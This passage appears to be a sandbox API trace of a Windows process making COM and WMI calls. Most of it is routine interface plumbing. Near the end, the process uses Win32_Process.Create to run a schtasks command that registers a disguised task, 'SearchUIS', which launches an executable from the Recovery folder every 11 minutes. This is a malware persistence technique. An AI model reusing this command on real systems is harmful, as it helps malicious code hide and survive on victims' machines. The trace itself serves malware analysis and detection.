puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0124.621] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0124.621] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0124.621] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0124.621] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0124.624] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.624] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d2440) returned 0x0 [0124.624] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2440, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0124.624] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2440, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x655430) returned 0x0 [0124.624] WbemDefPath:IUnknown:Release (This=0x1b4d2440) returned 0x0 [0124.624] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x655430) returned 0x0 [0124.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0124.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0124.625] WbemDefPath:IUnknown:AddRef (This=0x655430) returned 0x3 [0124.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0124.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0124.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d20a0) returned 0x0 [0124.625] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d20a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.625] WbemDefPath:IUnknown:Release (This=0x1b4d20a0) returned 0x3 [0124.625] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0124.625] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0124.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0124.625] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x2 [0124.625] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x1 [0124.625] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0124.625] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0124.625] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x655430) returned 0x0 [0124.625] WbemDefPath:IUnknown:AddRef (This=0x655430) returned 0x3 [0124.625] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x2 [0124.625] WbemDefPath:IWbemPath:SetText (This=0x655430, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0124.625] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0124.625] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0124.626] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.626] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0124.626] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0124.626] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0124.626] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.626] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2440) returned 0x0 [0124.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2440, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0124.626] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2440, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655c70) returned 0x0 [0124.626] WbemDefPath:IUnknown:Release (This=0x1b4d2440) returned 0x0 [0124.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655c70) returned 0x0 [0124.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0124.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0124.627] WbemDefPath:IUnknown:AddRef (This=0x655c70) returned 0x3 [0124.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0124.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0124.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2620) returned 0x0 [0124.627] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2620, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.627] WbemDefPath:IUnknown:Release (This=0x1b4d2620) returned 0x3 [0124.627] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0124.627] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0124.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0124.627] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x2 [0124.627] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x1 [0124.627] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0124.627] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0124.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655c70) returned 0x0 [0124.627] WbemDefPath:IUnknown:AddRef (This=0x655c70) returned 0x3 [0124.627] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x2 [0124.628] WbemDefPath:IWbemPath:SetText (This=0x655c70, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0124.628] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x655430) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655c70, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655c70, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0124.628] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x655430, uIndex=0x0, pszName="root") returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655c70, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655c70, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0124.628] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x655430, uIndex=0x1, pszName="cimv2") returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetServer (in: This=0x655c70, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetServer (in: This=0x655c70, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetServer (in: This=0x655430, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetServer (in: This=0x655430, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetInfo (in: This=0x655430, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0124.628] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0124.628] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0124.629] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0124.629] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511098) returned 0x0 [0124.629] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x3 [0124.629] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0124.629] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0124.629] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0124.629] IWbemServices:GetObject (in: This=0x1b4e02c0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d8a30, ppCallResult=0x0) returned 0x0 [0124.632] IWbemClassObject:GetMethod (in: This=0x1b4d8a30, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d7900, ppOutSignature=0x1b30d610*=0x1b4d9ed0) returned 0x0 [0124.632] IWbemClassObject:SpawnInstance (in: This=0x1b4d7900, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x66e390) returned 0x0 [0124.633] IWbemClassObject:Get (in: This=0x66e390, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ca8f0*=0, plFlavor=0x27ca8f4*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ca8f0*=8, plFlavor=0x27ca8f4*=32) returned 0x0 [0124.633] IWbemClassObject:Get (in: This=0x66e390, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ca8f0*=8, plFlavor=0x27ca8f4*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ca8f0*=8, plFlavor=0x27ca8f4*=32) returned 0x0 [0124.633] IWbemClassObject:Put (This=0x66e390, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"SearchUIS\" /sc MINUTE /mo 11 /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0124.633] IWbemClassObject:Get (in: This=0x66e390, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ca980*=0, plFlavor=0x27ca984*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ca980*=13, plFlavor=0x27ca984*=32) returned 0x0 [0124.633] IWbemClassObject:Get (in: This=0x66e390, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ca980*=13, plFlavor=0x27ca984*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ca980*=13, plFlavor=0x27ca984*=32) returned 0x0 [0124.633] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d9110) returned 0x0 [0124.633] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0124.633] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0124.633] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0124.634] IUnknown:AddRef (This=0x1b4d9110) returned 0x3 [0124.634] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0124.634] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0124.634] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d9118) returned 0x0 [0124.634] IMarshal:GetUnmarshalClass (in: This=0x1b4d9118, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0124.634] IUnknown:Release (This=0x1b4d9118) returned 0x3 [0124.634] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0124.634] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0124.634] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0124.634] IUnknown:Release (This=0x1b4d9110) returned 0x2 [0124.634] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 